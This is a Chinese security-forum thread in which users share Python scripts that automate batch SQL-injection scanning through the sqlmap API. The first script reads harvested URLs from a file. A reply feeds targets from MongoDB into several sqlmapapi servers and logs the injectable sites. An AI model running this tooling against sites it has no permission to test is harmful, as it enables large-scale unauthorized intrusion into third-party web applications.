九零登录

[【通过】] python实现简单集成sqlmapAPI

[复制链接]
发表于 2016-6-27 23:12:26 | 显示全部楼层 |阅读模式
本来没想写这个,对于重复造轮子这个话题,仁者见仁,智者见智。百度sqlmapapi 可以发现一大把的工具,链接:
http://drops.wooyun.org/tips/6653
http://www.moonsec.com/post-598.html
wooyun上某大牛写的工具,小弟拙见,效率太低。后来在某大牛群中要的某牛写的sqlmapapi 批量,发现思路相同。

于是小弟萌生要重新写这个工具

看完源码
发现管理函数

[Python] 纯文本查看 复制代码
@get("/admin/<taskid>/list")
def task_list(taskid=None):
    """
    List task pull
    """
    tasks = {}

    for key in DataStore.tasks:
        if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr:
            tasks[key] = dejsonize(scan_status(key))["status"]

    logger.debug("[%s] Listed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr))
    return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)})

@get("/admin/<taskid>/flush")
def task_flush(taskid):
    """
    Flush task spool (delete all tasks)
    """

    for key in list(DataStore.tasks):
        if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr:
            DataStore.tasks[key].engine_kill()
            del DataStore.tasks[key]

    logger.debug("[%s] Flushed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr))
    return jsonize({"success": True})


完全可以调用admin_list 实现对所有提交的url扫描状态检测

在提交这篇帖子的时候也发现了前辈发了类似的工具,不过思路,,,恩
小弟基础有限,写了一个非常简陋的工具,前辈们见笑了
测试的url (现在采集工具一大把,自己写也ok,这是一个群里边随便找的)

测试url

测试url

开 sqlmapapi server (远程本地都ok 本地物理机测试开启失败,原因未知,如有哪位前辈知道,万望指点)

开启serverapi

开启serverapi

帮助文件,顺便带个装逼logo (大家笑笑就好)

help

help

测试结果

测试结果

测试结果


不会画结构图,我也就不献丑了
下面附上源码(代码写的不好看,大家给建议可以,别喷,我害羞)
[Python] 纯文本查看 复制代码
import requests
import json
import time
import optparse

base_url = None
idlist = []
taskslist = {}
urllist = {}
def logo():
    print '''
------------------------------------------------------------------------------

      *******          ******    ****      ******
      *******          *******   ****     *******
      *  *  *           **   **    ***    **   **
      *  *  *   ****    **   **   ****    *    **   ******   ****
      *  *  *  ******   **   **   ** *   **         ******  ******
      *  *  *  **   **  ******    ** **  **        **   **  **   **
         *     *    **  ******    *  **  **        *    **  *    **
         *     *     *  **   **  ******  **        *       **    **
         *     *     *  **    *  ******  **        *       **    **
         *     *    **  **    *  *    **  **    *  *     *  *    **
       *****   *** *** ******** ***  **** *** ***  *** ***  *** **
       *****    *****  ******** **** ****  ******   ******   *****
                 **                         ***      ***      **
                 		author:kidsec

-------------------------------------------------------------------------------
'''


def impData(base_url, file):
    re = open(file, "r")
    print "[+] creating data url... "
    for line in re.readlines():
        test_url = line.strip()
        r = requests.get(base_url + "/task/new")
        taskid = r.json()['taskid']
        idlist.append(taskid)
        urllist[taskid] = test_url
        server_url = base_url + "/scan/" + taskid + "/start"
        requests.post(server_url, data=json.dumps({"url": test_url}), headers={'Content-Type': 'application/json'})
    print "[+] created successed! start scaning ..."

def loadData(base_url, adminkey):
    r = requests.get(base_url+"/admin/%s/list" % adminkey)
    taskslist = r.json()['tasks']
    run = False
    for li in idlist:
        if taskslist[li] == "terminated":
            r = requests.get(base_url+"/scan/"+li+"/data")
            if len(r.json()['data']) > 0:
                print "-"*79
                print urllist[li]
                print r.json()['data'][0]['value'][0]['data']['1']['title']
                print r.json()['data'][0]['value'][0]['data']['1']['payload']
                idlist.remove(li)
        elif taskslist[li] == "running":
            run = True
    return run
def clearData(base_url, adminkey):
    r = requests.get(base_url+"/admin/%s/flush" % adminkey)
    return r.json()['success']

def main():
    parse = optparse.OptionParser("usage %parg --adminkey <sqlmapapi server admin key> --server <sqlmapapi server eg:[url]http://127.0.0.1:8775>[/url] -r <test sqli file>")
    parse.add_option("--adminkey", dest="adminkey", type="string", help="server admin key")
    parse.add_option("--server", dest="server", type="string", help="server hosts")
    parse.add_option("-r", dest="file", type="string", help="file name")
    (options, args) = parse.parse_args()
    if (options.adminkey == None) | (options.server == None) | (options.file == None):
        print args
        exit(0)
    else:
        adminkey = options.adminkey
        server = options.server
        file = options.file
        base_url = server
    impData(base_url, file)
    while loadData(base_url, adminkey):
        time.sleep(30)
    clearData(base_url, adminkey)

if __name__ == '__main__':
    logo()
    main()


不要问我为什么不封装,因为我不会,,,
在写本文之前发现有bug:
1.url参数文字编码问题,自己加
2.测试文件过多,可能导致崩溃,可分批导入测试,或者增加线程来解决(线程也不会,智商太低是硬伤)
3.测试结果未保存,可保存txt,csv,sql中。

小弟愚钝,如有冒犯还望见谅。
各位90前辈以后多多指点小弟。

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2016-6-28 07:18:00 | 显示全部楼层
欢迎来到90!
大概看了一下楼主的代码,没理解错的话你应该是一次把url全部发送给sqlmapapi让它去检测,但是这显然是很不科学的,以下是我自用的脚本(来自乌云某牛的github,然后自己改了改,从Mongo里面获取数据并扫描之)
[Python] 纯文本查看 复制代码
#!/usr/bin/python
# -*- coding:utf-8 -*-

import time
import json
import urllib
import urllib2
import redis
import sys
import requests
import param
import threading
from Queue import Queue
from pymongo import MongoClient
from pprint import pprint
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
que = Queue()
result_que = Queue()
count = 0
MONGO_SERVER = 'nofiht.ml'
MONGO_PORT = 27017
MONGO_DATABASE = 'TARGET'
MONGO_COLLECTION = 'test'
db = MongoClient(MONGO_SERVER,MONGO_PORT)[MONGO_DATABASE][MONGO_COLLECTION]
mutex = threading.Lock()
result_file = open('/tmp/resulttttt','w+')
class Autoinj(threading.Thread):
    """
    	sqlmapapi 接口建立和管理sqlmap任务
    	by zhangh (zhanghang.org#gmail.com)
    	php install requests
    """

    def __init__(self, server='', target='', method='', data='', cookie='', referer=''):
        threading.Thread.__init__(self)
        self.server = server
        if self.server[-1] != '/':
            self.server = self.server + '/'
        # if method == "GET":
            # self.target = target + '?' + data
        # else:
            # self.target = target
        self.target = ''
        self.taskid = ''
        self.engineid = ''
        self.status = ''
        self.method = method
        self.data = data
        self.referer = referer
        self.cookie = cookie
        self.start_time = time.time()
        #print "server: %s \ttarget:%s \tmethod:%s \tdata:%s \tcookie:%s" % (self.server, self.target, self.method, self.data, self.cookie)
    #----------------------------------------------------------------------
    def get_target(self):
        """从数据库中找target,以后可以加一个用文件找的"""
        mutex.acquire()
        result=db.find_one({'Scaning':{'$exists':False}})
        if result:
            self.target=result['url']
            db.update({'url':result['url']},{'$set':{'Scaning':1}})
            print('正在检测%s'%self.target)
            mutex.release()
            return True
        else:
            print('没法从数据库里面取出数据')
            mutex.release()
            return False
    def task_new(self):
        code = urllib.urlopen(self.server + param.task_new).read()
        self.taskid = json.loads(code)['taskid']
        return True

    def task_delete(self):
        url = self.server + param.task_del
        url = url.replace(param.taskid, self.taskid)
        requests.get(url).json()

    def scan_start(self):
        headers = {'Content-Type':'application/json'}
        url = self.server + param.scan_task_start
        url = url.replace(param.taskid, self.taskid)
        data = {'url':self.target}
        t = requests.post(url, data=json.dumps(data), headers=headers).text
        t = json.loads(t)
        self.engineid = t['engineid']
        return True

    def scan_status(self):
        url = self.server + param.scan_task_status
        url = url.replace(param.taskid, self.taskid)
        self.status = requests.get(url).json()['status']

    def scan_data(self):
        url = self.server + param.scan_task_data
        url = url.replace(param.taskid, self.taskid)
        return requests.get(url).json()

    def option_set(self):
        headers = {'Content-Type':'application/json'}
        url = self.server + param.option_task_set
        url = url.replace(param.taskid, self.taskid)
        data = {}
        if self.method == "POST":
            data["data"] = self.data
        if len(self.cookie)>1:
            data["cookie"] = self.cookie
        #print data
        data['threads'] = 10
        data['smart'] = True
        data['is-dba'] = True
        t = requests.post(url, data=json.dumps(data), headers=headers).text
        t = json.loads(t)

    def option_get(self):
        url = self.server + param.option_task_get
        url = url.replace(param.taskid, self.taskid)
        return requests.get(url).json()

    def scan_stop(self):
        url = self.server + param.scan_task_stop
        url = url.replace(param.taskid, self.taskid)
        return requests.get(url).json()

    def scan_kill(self):
        url = self.server + param.scan_task_kill
        url = url.replace(param.taskid, self.taskid)
        return requests.get(url).json()

    def start_test(self):
        # 开始任务
        #self.target=que.get()
        self.start_time = time.time()
        if not self.task_new():
            print "Error: task created failed."
            return False
        # 设置扫描参数
        self.option_set()
        # 启动扫描任务
        if not self.scan_start():
            print "Error: scan start failed."
            return False
        # 等待扫描任务
        while True:
            self.scan_status()
            if self.status == 'running':
                time.sleep(20)
            elif self.status== 'terminated':
                break
            else:
                print "unkown status"
                break
            if time.time() - self.start_time > 3000: #多于五分钟
                error = True
                print('删除一个不怎么带劲的IP:%s'%self.target)
                count += 1
                self.scan_stop()
                self.scan_kill()
                return [self.target,0]

        # 取结果
        res = self.scan_data()
        # 删任务
        self.task_delete()
        global count

        print(res['data'])
        if res['data']:
            count += 1
            print "耗时:" + str(time.time() - self.start_time)
            print '已经检测%d个url'%count            
            return [self.target,res['data'][0]['value'][0]['dbms']]
        else:
            count += 1
            print "耗时:" + str(time.time() - self.start_time)
            print '已经检测%d个url'%count
            return [self.target,0]

    #----------------------------------------------------------------------
    def run(self):
        """不停地找"""
        while(self.get_target()):
            try:
                result = self.start_test()
                #print('----->',result)
                if result[1]:
                    mutex.acquire()
                    db.update({'url':result[0]},{'$set':{'injection':1,'info':result[1]}})
                    print('找到一个url%s'%self.target)
                    result_file.writelines(self.target+'--->'+str(result[1]))
                    mutex.release()
                else:
                    mutex.acquire()
                    db.update({'url':result[0]},{'$set':{'injection':0}})
                    mutex.release()
            except Exception:
                break
        
host_list = ['http://localhost:8775/','http://localhost:8776/','http://localhost:8777',
             'http://nofiht.ml:8775','http://nofiht.ml:8776','http://nofiht.ml:8777',
             'http://139.129.25.173:8775/',#,'http://139.129.25.173:8775/',
             'http://115.159.64.169:8775/'#,'http://115.159.64.169:8775/'
             ]
#----------------------------------------------------------------------
def main():
    threads = [Autoinj(host) for i in range(1,10) for host in host_list] # 一个client实例一次处理10个注入点
    for thread_ in threads:
        thread_.start()
    for thread_ in threads:
        thread_.join()
    
if __name__=='__main__':
    start_time = time.time()
    # for i in open('/tmp/sss').readlines():
        # #print('http://%s'%i.strip())
        # que.put(i.strip())
    main()
    #print('一共花费时间%s,一共找到注入%s'%(time.time()-start_time,result_que.qsize()))
#if Autoinj(server='http://localhost:8775/',target='http://f5eca5159a6076025.jie.sangebaimao.com/mysql/get_str.php?id=1').run()['data']:

点评

这个看过 是nginx 做代理 然后存入redis 来进行批量的,但是也不支持https 请问有什么好方法支持https 吗  发表于 2016-6-28 13:16

评分

参与人数 1酒票 +2 收起 理由
管理05 + 2 积极参与讨论

查看全部评分

发表于 2016-6-28 09:30:43 | 显示全部楼层
本地物理机开启失败可能是因为网络过了NAT,端口ip什么的都不对了,用vps应该没问题
 楼主| 发表于 2016-6-28 11:34:18 | 显示全部楼层
40huo 发表于 2016-6-28 09:30
本地物理机开启失败可能是因为网络过了NAT,端口ip什么的都不对了,用vps应该没问题

应该不是nat问题,物理机能开启成功,但是不能请求,虚拟机 和vps 均没问题
 楼主| 发表于 2016-6-28 11:38:20 | 显示全部楼层
方核桃和圆核桃 发表于 2016-6-28 07:18
欢迎来到90!
大概看了一下楼主的代码,没理解错的话你应该是一次把url全部发送给sqlmapapi让它去检测,但 ...

谢核桃前辈给的代码,这个思路我想过,不加线程的程序流程确实很蛋疼,关于这个思路小弟有很多疑问,望前辈指点
发表于 2016-6-28 17:50:05 | 显示全部楼层
@depycode  你在点评里面回复的我,但是我并不知道怎么回复你,在这层里面艾特一下吧。
我这个东西是主动扫描的,还有一个爬虫模块,正在完善post的搜集,现在也开始慢慢看sqlmap的源代码了
我不是很清楚你讲的那个东西,用nginx做代理然后分离出里面的http和https请求然后丢进redis再然后丢给sqlmap检测?记忆中nginx没有这么牛逼的样子。
发表于 2016-6-28 17:51:53 | 显示全部楼层
kidsec 发表于 2016-6-28 11:38
谢核桃前辈给的代码,这个思路我想过,不加线程的程序流程确实很蛋疼,关于这个思路小弟有很多疑问,望前 ...

多写点代码就好了。
我使用的多线程+一个电脑上跑多个客户端的方式,等爬虫模块写完了写个paper把思路总结下吧
贴上去的代码也是写得比较凌乱,得找时间重构一下
发表于 2016-6-28 17:53:19 | 显示全部楼层
你的本地物理机测试失败我不知道是个什么情况。
你的sqlmapapi是在虚拟机里面还是在物理机里面?
 楼主| 发表于 2016-6-28 23:27:34 | 显示全部楼层
方核桃和圆核桃 发表于 2016-6-28 17:53
你的本地物理机测试失败我不知道是个什么情况。
你的sqlmapapi是在虚拟机里面还是在物理机里面?

爬虫我已经有写好了,等领悟完封装,再集成到一块。
为什么不考虑使用admin函数管理所有请求状态呢。
求详解,一次或者多次添加多条扫描请求问题所在。
 楼主| 发表于 2016-6-28 23:30:07 | 显示全部楼层
方核桃和圆核桃 发表于 2016-6-28 17:53
你的本地物理机测试失败我不知道是个什么情况。
你的sqlmapapi是在虚拟机里面还是在物理机里面?

那个本地测试失败,我也不清楚,哪里出毛病了,物理机win10 环境中,api 启动成功,添加任务失败。
虚拟机kali2.0 API 任务增删改查均正常
vps ubuntu 14.0.4 api 任务增删改查正常
发表于 2016-6-29 00:03:38 | 显示全部楼层
kidsec 发表于 2016-6-28 23:27
爬虫我已经有写好了,等领悟完封装,再集成到一块。
为什么不考虑使用admin函数管理所有请求状态呢。
...

因为我现在的代码能够比较完美的完成我想要的功能了。(其实就是懒,用比较省事的方法完成了任务。。。
发表于 2016-6-29 11:45:24 | 显示全部楼层
方核桃和圆核桃 发表于 2016-6-28 17:50
@depycode  你在点评里面回复的我,但是我并不知道怎么回复你,在这层里面艾特一下吧。
我这个东西是主动 ...

我看的是https://github.com/zhanghangorg/sqlinj-ant
发表于 2016-6-29 17:56:39 | 显示全部楼层
批量扫 没什么意义 matt的那个gourdscan是不错的  不过还是不支持https
发表于 2016-6-29 23:05:05 | 显示全部楼层
支持post的吗
发表于 2016-7-20 12:13:17 | 显示全部楼层
v5est0r 发表于 2016-6-29 17:56
批量扫 没什么意义 matt的那个gourdscan是不错的  不过还是不支持https

批量至少能提高效率 别说没什么意义 matt的那个CPU占用率太高 希望别的不会出现这个问题

发表于 2016-7-20 22:21:26 | 显示全部楼层
批量扫倒是不错,可是要能把awvs的爬虫结果倒出来就好了
发表于 2016-7-21 09:41:15 | 显示全部楼层
sqlmapapi批量注入,有些存在的注入,用api会注入不出来。
最近也在看sqlmap源码
http://blog.csdn.net/qq_29277155/article/details/51646932

九零

GMT+8, 2026-10-22 13:32

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表